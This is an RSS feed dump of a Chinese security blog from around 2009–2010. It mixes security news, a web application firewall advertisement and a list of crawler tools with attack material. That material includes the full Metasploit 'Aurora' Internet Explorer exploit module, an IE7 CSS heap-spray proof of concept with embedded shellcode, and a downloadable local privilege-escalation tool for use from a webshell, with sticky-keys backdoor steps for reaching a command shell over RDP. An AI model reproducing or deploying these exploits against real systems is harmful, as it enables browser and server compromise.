<![CDATA[Friddy's罐子]]> http://www.friddy.cn/ PJBlog3 2010-02-02T14:40:47+08:00 <![CDATA[360本地提权webshell下测试程序]]> friddy http://www.friddy.cn/ root@friddy.cn 2010-02-02T14:40:47+08:00 2010-02-02T14:40:47+08:00 在webshell下运行360test.exe

成功后，3389到服务器，按5下shift，得到一个cmd



PS:由于需要本地权限，对个人用户不会造成影响，危害也不是大范围的。

测试程序：

下载文件 点击下载此文件

密码：friddy

]]> http://www.friddy.cn/default.asp?id=118 <![CDATA[Aurora 确定了]]> friddy http://www.friddy.cn/ root@friddy.cn 2010-01-17T23:05:18+08:00 2010-01-17T23:05:18+08:00 # $Id: ie_aurora.rb 8136 2010-01-15 21:36:04Z hdm $
##

##
# This file is part of the Metasploit Framework and may be subject to
# redistribution and commercial restrictions. Please see the Metasploit
# Framework web site for more information on licensing and terms of use.
#http://metasploit.com/framework/
##

require 'msf/core'

class Metasploit3 < Msf::Exploit::Remote
        Rank = NormalRanking

        include Msf::Exploit::Remote::HttpServer::HTML
        include Msf::Exploit::Remote::BrowserAutopwn
        autopwn_info({
                :ua_name    => HttpClients::IE,
                :ua_minver  => "6.0",
                :ua_maxver  => "8.0",
                :javascript => true,
                :os_name    => OperatingSystems::WINDOWS,
                :vuln_test  => nil, # no way to test without just trying it
        })


        def initialize(info = {})
                super(update_info(info,
                        'Name'           => 'Microsoft Internet Explorer "Aurora" Memory Corruption',
                        'Description'    => %q{
                                This module exploits a memory corruption flaw in Internet Explorer. This
                        flaw was found in the wild.
                        },
                        'License'        => MSF_LICENSE,
                        'Author'         =>
                                [
                                        'unknown',
                                        'hdm'      # Metasploit port
                                ],
                        'Version'        => '$Revision: 8136 $',
                        'References'     =>
                                [
                                        ['URL', 'http://www.microsoft.com/technet/security/advisory/979352.mspx'],
                                        ['URL', 'http://wepawet.iseclab.org/view.php?hash=1aea206aa64ebeabb07237f1e2230d0f&type=js']

                                ],
                        'DefaultOptions' =>
                                {
                                        'EXITFUNC' => 'process',
                                },
                        'Payload'        =>
                                {
                                        'Space'    => 1000,
                                        'BadChars' => "\x00",
                                        'Compat'   =>
                                                {
                                                        'ConnectionType' => '-find',
                                                },
                                        'StackAdjustment' => -3500,
                                },
                        'Platform'       => 'win',
                        'Targets'        =>
                                [
                                        [ 'Automatic', { }],
                                ],
                        'DisclosureDate' => 'Jan 14 2009', # wepawet sample
                        'DefaultTarget'  => 0))
        end

        def on_request_uri(cli, request)

                if (request.uri.match(/\.gif/i))
                        data = "R0lGODlhAQABAIAAAAAAAAAAACH5BAEAAAAALAAAAAABAAEAAAICRAEAOw==".unpack("m*")[0]
                        send_response(cli, data, { 'Content-Type' => 'image/gif' })
                        return
                end

                var_memory    = rand_text_alpha(rand(100) + 1)
                var_boom      = rand_text_alpha(rand(100) + 1)
                var_x1        = rand_text_alpha(rand(100) + 1)
                var_e1        = rand_text_alpha(rand(100) + 1)
                var_e2        = rand_text_alpha(rand(100) + 1)

                var_comment   = rand_text_alpha(rand(100) + 1);
                var_abc       = rand_text_alpha(3);

                var_ev1       = rand_text_alpha(rand(100) + 1)
                var_ev2       = rand_text_alpha(rand(100) + 1)
                var_sp1       = rand_text_alpha(rand(100) + 1)

                var_unescape  = rand_text_alpha(rand(100) + 1)
                var_shellcode = rand_text_alpha(rand(100) + 1)
                var_spray     = rand_text_alpha(rand(100) + 1)
                var_start     = rand_text_alpha(rand(100) + 1)
                var_i         = rand_text_alpha(rand(100) + 1)

                rand_html     = rand_text_english(rand(400) + 500)

                html = %Q|<html>
<head>
<script>

        var #{var_comment} = "COMMENT";

        var #{var_x1} = new Array();
        for (i = 0; i < 200; i ++ ){
           #{var_x1} = document.createElement(#{var_comment});
           #{var_x1}.data = "#{var_abc}";
        };

        var #{var_e1} = null;

        var #{var_memory} = new Array();
        var #{var_unescape} = unescape;

        function #{var_boom}() {

                var #{var_shellcode} = #{var_unescape}( '#{Rex::Text.to_unescape(regenerate_payload(cli).encoded)}');

                var #{var_spray} = #{var_unescape}( "%" + "u" + "0" + "c" + "0" + "d" + "%u" + "0" + "c" + "0" + "d" );

                do { #{var_spray} += #{var_spray} } while( #{var_spray}.length < 0xd0000 );

                for(#{var_i} = 0; #{var_i} < 100; #{var_i}++) #{var_memory}[#{var_i}] = #{var_spray} + #{var_shellcode};
        }

        function #{var_ev1}(evt){
                #{var_boom}();
            #{var_e1} = document.createEventObject(evt);
            document.getElementById("#{var_sp1}").innerHTML = "";
            window.setInterval(#{var_ev2}, 50);
        }

        function #{var_ev2}(){
          p = "\\u0c0d\\u0c0d\\u0c0d\\u0c0d\\u0c0d\\u0c0d\\u0c0d\\u0c0d\\u0c0d\\u0c0d\\u0c0d\\u0c0d\\u0c0d\\u0c0d\\u0c0d\\u0c0d\\u0c0d\\u0c0d\\u0c0d\\u0c0d\\u0c0d\\u0c0d\\u0c0d\\u0c0d\\u0c0d\\u0c0d\\u0c0d\\u0c0d\\u0c0d\\u0c0d\\u0c0d\\u0c0d\\u0c0d\\u0c0d\\u0c0d\\u0c0d\\u0c0d\\u0c0d\\u0c0d\\u0c0d\\u0c0d\\u0c0d";
          for (i = 0; i < #{var_x1}.length; i ++ ){
              #{var_x1}.data = p;
          }

          var t = #{var_e1}.srcElement;
        }
</script>
</head>
<body>

<span id="#{var_sp1}"><img src="#{get_resource}#{var_start}.gif" onload="#{var_ev1}(event)"></span></body></html>

</body>
</html>
                |

                # Transmit the compressed response to the client
                send_response(cli, html, { 'Content-Type' => 'text/html', 'Pragma' => 'no-cache' })

                # Handle the payload
                handler(cli)
        end
end]]> http://www.friddy.cn/default.asp?id=116 <![CDATA[韩国明年元旦启动网络司令部]]> friddy http://www.friddy.cn/ root@friddy.cn 2009-12-04T15:01:44+08:00 2009-12-04T15:01:44+08:00     韩国国防部官员12月1日说，集网络攻击与网络防护于一身的独立网络司令部定于明年元旦正式启用。
　
　“这(网络司令部)是一支独立部队，由200名专业技术人员构成，一名少将统管。”一名没有公开姓名的国防部官员告诉韩国联合通讯社。

　　韩联社援引另一国防部官员的话报道，网络司令部全面运作可能是在明年年中。

　　韩国总统府、国防部等机构的计算机网络今年7月连续遭遇黑客攻击，韩国国防部随后决定成立网络司令部。韩国国防安全司令部先前指责朝鲜黑客制造这些袭击活动。

　　依照韩联社说法，韩国独立网络司令部不仅承担网络安全维护与防护任务，还具备互联网攻击能力，可扰乱别国重要机构的网络运行。

]]> http://www.friddy.cn/default.asp?id=115 <![CDATA[milw0rm再次“复活”了]]> friddy http://www.friddy.cn/ root@friddy.cn 2009-11-30T12:56:22+08:00 2009-11-30T12:56:22+08:00
http://www.exploit-db.com/]]> http://www.friddy.cn/default.asp?id=114 <![CDATA[南京铱迅发现微软IE7.0 异常CSS导致内存破坏漏洞]]> friddy http://www.friddy.cn/ root@friddy.cn 2009-11-20T13:27:46+08:00 2009-11-20T13:27:46+08:00
http://www.yxlink.com/newsview_15.html

[Copy From yxlink.com]

+++++++++++++++++++++++++++++++++++++++++++++++++

1．漏洞介绍
在XHTML 1.0标准下，使用特殊构造的CSS样式，在Internet Explorer 7.0 打开特定的网页后，Internet Explorer 7.0将发生内存崩溃，EIP指针将访问0x70613e5b附近的内存区域。如果将0x70613e5b附近覆盖特殊的机器码，就可以执行任意命令。

2．漏洞危害(危害等级高)
黑客如果将含有“漏洞利用程序的网页”置于网站上，浏览过含有“漏洞利用程序的网页”的客户端将被运行特洛伊木马。

3．通知途径
已经向“国家漏洞库”提交。

4．详细文档下载:  [url]http://www.yxlink.com/download/[YV20090432]IE7vul.doc[/url]

POC:

<!--
请将以下内容粘贴到html文件中,成功后将跳出计算器程序
南京铱迅信息技术有限公司（Nanjing Yxlink Information Technologies Co.,Ltd.）
http://www.yxlink.com
-->
<!DOCTYPE HTML PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
<HTML xmlns="http://www.w3.org/1999/xhtml">
    <HEAD>
<script>  
            function load(){
                var e;
                e=document.getElementsByTagName("STYLE")[0];
                e.outerHTML="1";
            }
        </script>    
        <STYLE type="text/css">
            body{ overflow: scroll; margin: 0; }
        </style>
        
        <SCRIPT language="javascript">
var shellcode = unescape("%uE8FC%u0044%u0000%u458B%u8B3C%u057C%u0178%u8BEF%u184F%u5F8B%u0120%u49EB%u348B%u018B%u31EE%u99C0%u84AC%u74C0%uC107%u0DCA%uC201%uF4EB%u543B%u0424%uE575%u5F8B%u0124%u66EB%u0C8B%u8B4B%u1C5F%uEB01%u1C8B%u018B%u89EB%u245C%uC304%uC031%u8B64%u3040%uC085%u0C78%u408B%u8B0C%u1C70%u8BAD%u0868%u09EB%u808B%u00B0%u0000%u688B%u5F3C%uF631%u5660%uF889%uC083%u507B%u7E68%uE2D8%u6873%uFE98%u0E8A%uFF57%u63E7%u6C61%u0063");
var bigblock = unescape("%u9090%u9090");
var headersize = 20;
var slackspace = headersize+shellcode.length;
while (bigblock.length<slackspace) bigblock+=bigblock;
fillblock = bigblock.substring(0, slackspace);
block = bigblock.substring(0, bigblock.length-slackspace);
while(block.length+slackspace<0x40000) block = block+block+fillblock;
memory = new Array();
for (x=0; x<4000; x++) memory[x] = block + shellcode;
</script>

    </HEAD>    
    <BODY onload="load()">
    </BODY>
</HTML>]]> http://www.friddy.cn/default.asp?id=113 <![CDATA[搜狐公司哪个同学黑站也不记得挂VPN]]> friddy http://www.friddy.cn/ root@friddy.cn 2009-11-19T19:11:47+08:00 2009-11-19T19:11:47+08:00 搜狐公司哪个同学想黑我们公司站，也不记得挂VPN。。。。。。

直接上图





]]> http://www.friddy.cn/default.asp?id=112 <![CDATA[安全界神话-------新一代软件“Web应用防火墙”]]> friddy http://www.friddy.cn/ root@friddy.cn 2009-11-05T22:12:36+08:00 2009-11-05T22:12:36+08:00  

    新一代软件“Web应用防火墙”的性能与兼容瓶颈已经得到解决的同时，性能甚至超多大批硬件“Web应用防火墙”。国内外业界对新一代的软件“Web应用防火墙”一致看好。一位资深安全专家表示：新一代软件“Web应用防火墙”实在是太神奇了！
 
    相比两、三年前的软件“Web应用防火墙”，如今的软件“Web应用防火墙”每秒可以处理的HTTP请求的次数已经达到每秒15000次（2.5Ghz CPU占用低于5%），千兆吞吐能力甚至可以达到950Mbps至980Mbps，支持10000至35000用户同时在线。
 
    据记者了解，新一代软件“Web应用防火墙”性能得到极大提高的原因在于：
    一．采用NDIS驱动技术。新一代软件“Web应用防火墙”相比两、三年前使用ISAPI技术的软件“Web应用防火墙”，性能的提升可以达到十到二十倍。传统的ISAPI技术的软件“Web应用防火墙”，网络报文数据的传递路径为：网卡->操作系统(OS)->IIS->ISAPI->检测引擎->ISAPI->IIS；而采用NDIS驱动技术的软件“Web应用防火墙”，网络报文数据的传递路径为：网卡->NDIS驱动->检测引擎->操作系统(OS)->IIS(Apache)。
    二．新的软件“Web应用防火墙”，网络报文的获取不再依赖于IIS，“Web应用防火墙”可以先于操作系统处理数据，减少了IIS与ISAPI的传输瓶颈。新的软件“Web应用防火墙”优化网络报文处理结构的同时，大幅提高了性能。
    三．算法上的优化。据国内新一代“Web应用防火墙”设计厂商，南京铱迅信息的研发部总监介绍：新式的软件“Web应用防火墙”（铱迅网站应用防火墙），采用了三层的检测算法：包括关键匹配、正则匹配、虚拟执行，其中虚拟执行技术，在提高检测速度的同时，还可以大大降低误报的发生。
 
    据记者了解，新一代软件“Web应用防火墙”相比“硬件Web应用防火墙”有着许多先天的优势：
    一．快速部署。只要在服务器安装上软件，服务器就立即处于细粒度保护状态，全面防御SQL注入、缓冲区溢出等攻击。
    二．更适合托管服务器用户。目前在IDC机房，每增加一台硬件防火墙，通常需要多占用一个1U或者2U的机位，而一个机位的费用在3000到7000RMB每年不等。
    三．性价比更高。软件“Web应用防火墙”每年的费用在2000元以下。相比动辄15万RMB到50万RMB的硬件防火墙，降低了几个数量级。
 
    记者采访了南京铱迅信息的研发部总监，从今年6、7月份开始，铱迅信息推出的“铱迅网站防火墙”解决了大量门户网站、政府部门、企业网站被黑客入侵的问题。网站只要安装“铱迅网站防火墙”软件，就可以解除SQL注入、群注、跨站、溢出等安全威胁。对于个人用户，铱迅信息特别推出了“铱迅网站防火墙”标准版，个人用户可以免费使用。在谈到个人对软件“Web应用防火墙”的看法的时候，南京铱迅信息的研发部总监笑了笑，说：“如今软件可以解决的安全问题，为什么需要花费几十万元人民币呢？”
 
    新一代软件“Web应用防火墙”是安全业界里一个新的神话、新的亮点！
]]> http://www.friddy.cn/default.asp?id=111 <![CDATA[【下载】驱动级的“网站黑客防火墙”]]> friddy http://www.friddy.cn/ root@friddy.cn 2009-11-03T10:38:03+08:00 2009-11-03T10:38:03+08:00 铱迅网站防火墙
国内首款真正意义上的专业网站防黑软件，全面解决网站遭到黑客攻击的问题

★铱迅Web应用防火墙
支持Web平台:Windows驱动技术（非ISAPI），全面支持IIS、Apache、Nginx、Websphere等
 

★超高速黑客攻击数据包检测引擎 ，100%优化性能
高速检测引擎，100Mbps下，CPU消耗<=3%，每秒可处理15000+个报文

★特色功能
Check 支持IIS、Apache、Websphere等所有Web服务器
Check 防止URL SQL注入、群注、XSS跨站
Check 防止关键文件下载(如.mdb,web.config文件)
Check 防止缓冲区溢出
Check 防止远程文件包含
Check 防止机器人爬虫、自动攻击
Check 封锁攻击者IP，支持设定阻断时间
Check 信任脚本控制（白名单）
Check 软件在线更新、特征库升级
 Check Web服务器访问优化
Check 防止Cookie SQL注入、群注、XSS跨站
Check 防止POST SQL注入、群注、XSS跨站
Check 防止访问网页木马
Check 防止网站盗链
Check 防止CC攻击
Check 自定义包过滤规则

 

下载地址：http://sales.yxlink.com/download.html

]]> http://www.friddy.cn/default.asp?id=110 <![CDATA[搜索引擎/网络蜘蛛程序代码]]> friddy http://www.friddy.cn/ root@friddy.cn 2009-10-30T22:12:34+08:00 2009-10-30T22:12:34+08:00 1、Nutch

官方网站 http://www.nutch.org/
中文站点 http://www.nutchchina.com/
最新版本：Nutch 0.7.2 Released
Nutch 是一个开源Java 实现的搜索引擎。它提供了我们运行自己的搜索引擎所需的全部工具，可以建立自己内部网的搜索引擎，也可以针对整个网络建立搜索引擎。自由(Free)而免费(Free)。
2、Lucene

官方网站  http://lucene.apache.org
中文站点  http://www.lucene.com.cn/
Lucene是apache软件基金会 jakarta项目组的一个子项目，是一个开放源代码的全文检索引擎工具包[用Java写的]，即它不是一个完整的全文检索引擎，而是一个全文检索引擎的架构，提供了完整的查询引擎和索引引擎，部分文本分析引擎（英文与德文两种西方语言）。Lucene的目的是为软件开发人员提供一个简单易用的工具包，以方便的在目标系统中实现全文检索的功能，或者是以此为基础建立起完整的全文检索引擎。
3、Larbin: http://larbin.sourceforge.net/index-eng.html
larbin是一种开源的网络爬虫/网络蜘蛛，由法国的年轻人 Sébastien Ailleret独立开发。larbin目的是能够跟踪页面的url进行扩展的抓取，最后为搜索引擎提供广泛的数据来源。
国内开发的相关程序
1、SQLET - 开放源码的中文搜索引擎
官方网站 http://www.sqlet.com/
SQLET，是Search & Query &Link, 加后缀 let，表示小的，小型的意思.打算建立一个能搜上亿张网页的基于主题功能的中文搜索引擎.支持3种索引方式：MySql_table_Index，Lucene_Index，SQLET_Index.网页抓取可以保存在文件系统及数据库里。自带WebServer.
2、菲度垂直搜索引擎代码
菲度http://www.faydu.net 为一个垂直在线搜索的演示版，主要对国内一些购物站点进行搜索整理，
语言：VB.net(c#)
二、中文分词程序代码
1、计算所汉语词法分析系统 ICTCLAS
中国科学院计算技术研究所在多年研究基础上，耗时一年研制出了基于多层隐马模型的汉语词法分析系统 ICTCLAS(Institute of Computing Technology, Chinese Lexical Analysis System)，该系统的功能有：中文分词；词性标注；未登录词识别。分词正确率高达97.58%(最近的973专家组评测结果)，基于角色标注的未登录词识别能取得高于90%召回率，其中中国人名的识别召回率接近98%，分词和词性标注处理速度为31.5KB/s。ICTCLAS 和计算所其他14项免费发布的成果被中外媒体广泛地报道，国内很多免费的中文分词模块都或多或少的参考过ICTCLAS的代码。
下载页面：http://www.nlp.org.cn/project/project.php?proj_id=6
由于 ICTCLAS 是由 C 语言写成的，现在主流的开发工具用起来不太方便，于是有一些热心的程序员把 ICTCLAS 改为 Java 和 C# 等其他语言。
（1）fenci，Java 的 ICTCLAS，下载页面：http://www.xml.org.cn/printpage.asp?BoardID=2&id=11502
（2）AutoSplit，另一个 Java 的 ICTCLAS，已经找不到下载页面，点击本地下载
（3）小叮咚中文分词，曾经有下载页面，现在找不到了。据作者介绍，从 ICTCLAS 中改进，有 Java，C# 和 C++ 三个版本，介绍页面：http://www.donews.net/accesine
2、海量智能分词研究版
海量智能计算技术研究中心为了使中文信息处理领域的研究者们能够共同分享海量智能中心的研究成果，共同提高中文信息处理水平，特此发布《海量智能分词研究版》，供专家、学者和爱好者进行研究。
下载页面：http://www.hylanda.com/cgi-bin/download/download.asp?id=8

3、其他
（1）CSW中文智能分词组件
运行环境：Windows NT、2000、XP 或更高，可以在 ASP，VB 等微软的开发语言中调用。
简介: CSW中文智能分词DLL组件，可将一段文本自动的按常规汉语词组进行拆分,并以指定方式进行分隔，且可对其拆分后的词组进行语义、词频标注。其广范应用于各行各业的信息资料检索、分析。
下载页面：http://www.vgoogle.net/
（2） C# 写的中文分词组件
据作者介绍，一个 DLL 文件，可以做中英文分词组件。完全C#托管代码编写，独立开发。
下载页面：http://www.rainsts.net/article.asp?id=48
三、开源spider一览
spider是搜索引擎的必须模块.spider数据的结果直接影响到搜索引擎的评价指标.
第一个spider程序由MIT的Matthew K Gray操刀该程序的目的是为了统计互联网中主机的数目
Spier定义(关于Spider的定义,有广义和狭义两种).
 

  • 狭义:利用标准的http协议根据超链和web文档检索的方法遍历万维网信息空间的软件程序.
  • 广义:所有能利用http协议检索web文档的软件都称之为spider.

其中Protocol Gives Sites Way To Keep Out The 'Bots Jeremy Carl, Web Week, Volume 1, Issue 7, November 1995 是和spider息息相关的协议,大家有兴趣参考robotstxt.org.
Heritrix
Heritrix is the Internet Archive's open-source, extensible, web-scale, archival-quality web crawler project.
Heritrix (sometimes spelled heretrix, or misspelled or missaid as heratrix/heritix/ heretix/heratix) is an archaic word for heiress (woman who inherits). Since our crawler seeks to collect and preserve the digital artifacts of our culture for the benefit of future researchers and generations, this name seemed apt.
语言:JAVA, (下载地址)
WebLech URL Spider
WebLech is a fully featured web site download/mirror tool in Java, which supports many features required to download websites and emulate standard web-browser behaviour as much as possible. WebLech is multithreaded and comes with a GUI console.
语言:JAVA, (下载地址)
JSpider
A Java implementation of a flexible and extensible web spider engine. Optional modules allow functionality to be added (searching dead links, testing the performance and scalability of a site, creating a sitemap, etc ..

语言:JAVA, (下载地址)
WebSPHINX
WebSPHINX is a web crawler (robot, spider) Java class library, originally developed by Robert Miller of Carnegie Mellon University. Multithreaded, tollerant HTML parsing, URL filtering and page classification, pattern matching, mirroring, and more.

语言:JAVA, (下载地址)
PySolitaire
PySolitaire is a fork of PySol Solitaire that runs correctly on Windows and has a nice clean installer. PySolitaire (Python Solitaire) is a collection of more than 300 solitaire and Mahjongg games like Klondike and Spider.

语言ython , (下载地址)
The Spider Web Network Xoops Mod Team    
The Spider Web Network Xoops Module Team provides modules for the Xoops community written in the PHP coding language. We develop mods and or take existing php script and port it into the Xoops format. High quality mods is our goal.

语言:php , (下载地址)
Fetchgals
A multi-threaded web spider that finds free porn thumbnail galleries by visiting a list of known TGPs (Thumbnail Gallery Posts). It optionally downloads the located pictures and movies. TGP list is included. Public domain perl script running on Linux.


语言:perl , (下载地址)

Where Spider

The purpose of the Where Spider software is to provide a database system for storing URL addresses. The software is used for both ripping links and browsing them offline. The software uses a pure XML database which is easy to export and import.
语言:XML , (下载地址)

Sperowider Website Archiving Suite is a set of Java applications, the primary purpose of which is to spider dynamic websites, and to create static distributable archives with a full text search index usable by an associated Java applet.
语言:Java , (下载地址)
SpiderPy is a web crawling spider program written in Python that allows users to collect files and search web sites through a configurable interface.
语言ython , (下载地址)

Spider is a complete standalone Java application designed to easily integrate varied datasources. * XML driven framework * Scheduled pulling * Highly extensible * Provides hooks for custom post-processing and configuration
语言:Java , (下载地址)

WebLoupe is a java-based tool for analysis, interactive visualization (sitemap), and exploration of the information architecture and specific properties of local or publicly accessible websites. Based on web spider (or web crawler) technology.
语言:java , (下载地址)
ASpider
Robust featureful multi-threaded CLI web spider using apache commons httpclient v3.0 written in java. ASpider downloads any files matching your given mime-types from a website. Tries to reg.exp. match emails by default, logging all results using log4j.
语言:java , (下载地址)
larbin
Larbin is an HTTP Web crawler with an easy interface that runs under Linux. It can fetch more than 5 million pages a day on a standard PC (with a good network).
语言:C++, (下载地址)
webloupeSpidered Data RetrievalSpiderPySperowider

]]> http://www.friddy.cn/default.asp?id=109 <![CDATA[后漏洞时代，大话IE 0day揭秘]]> friddy http://www.friddy.cn/ root@friddy.cn 2009-10-22T10:26:13+08:00 2009-10-22T10:26:13+08:00
一个Crash，就能崩溃IE，地址高的话，就能Execute any code!

今年2月份，出的ms9002，实际在2006年12月的时候，已经有人发现。而触发漏洞的人，只是一个写

javascript的程序员，但是他并没有对漏洞做任何的利用。


大家可以看看他当年的脚本吧：
我使用任务管理器，打开一个弹出窗口，ie内存就增加1-3m，然后关闭窗口，有时内存并不释放，有时才释放几十k。看来问题出在了内存释放上面。

      接着按内存释放这个思路，进行搜索查找方法，来进行解决这个问题。我找到一个javascript未公开的函数CollectGarbage，这个函数是用来进行内存释放的。我在所有的弹出窗口结束之前把所有的自己定义的javasctip的变量设置为null，并调用CollectGarbage函数。

      javascript中把变量设为null，javascript并不会把内存释放，当下次再次定义变量时，就会覆盖此变量所在的内存。如果不设为null，javascript再次定义变量时，会开辟一个新的内存空间。

      在使用以上处理之后，再次打开窗口，ie的内存每次还是增加1-3m，但是在关闭窗口之后，则ie会释放一定数量的内存在500k至2m。起到了一定的作用。
       由于我在页面中使用了第三方的控件，第三方的控件中的javascript中的内存是如何管理，就不是由我来控制的了。
      


1.javascript内存释放的方法示例


  把所有上级函数的参数即使设为null，并使用CollectGarbage来释放内存。  


示例
  <script>  
    
  //32M  
  function   AllocMem()  
  {  
  var   str="12345678";  
  for(var   i=3;i<24;i++)  
  str+=str;  
  return   str;  
  }  
    
  function   A(a)  
  {  
  a=null;  
  return   r;  
  function   r()  
  {  
  }  
  }  
    
    
  var   f=A(AllocMem());  
  alert(1);  
  CollectGarbage();  
  //明显，已经释放了。  
  r=null;  
  alert(2);  
  CollectGarbage();  
    
  </script>  
    
  ----------  
  里面对于内存释放的规则（脚本层）已经理解得很透了。  
  (每一层菜单分配?M的内存.对着任务管理器才看到情况)  


注:
CollectGarbage()通常会在核心推出内存，因就是IE或NS程序结束的时候才会调用.这样才是安全的  

]]> http://www.friddy.cn/default.asp?id=108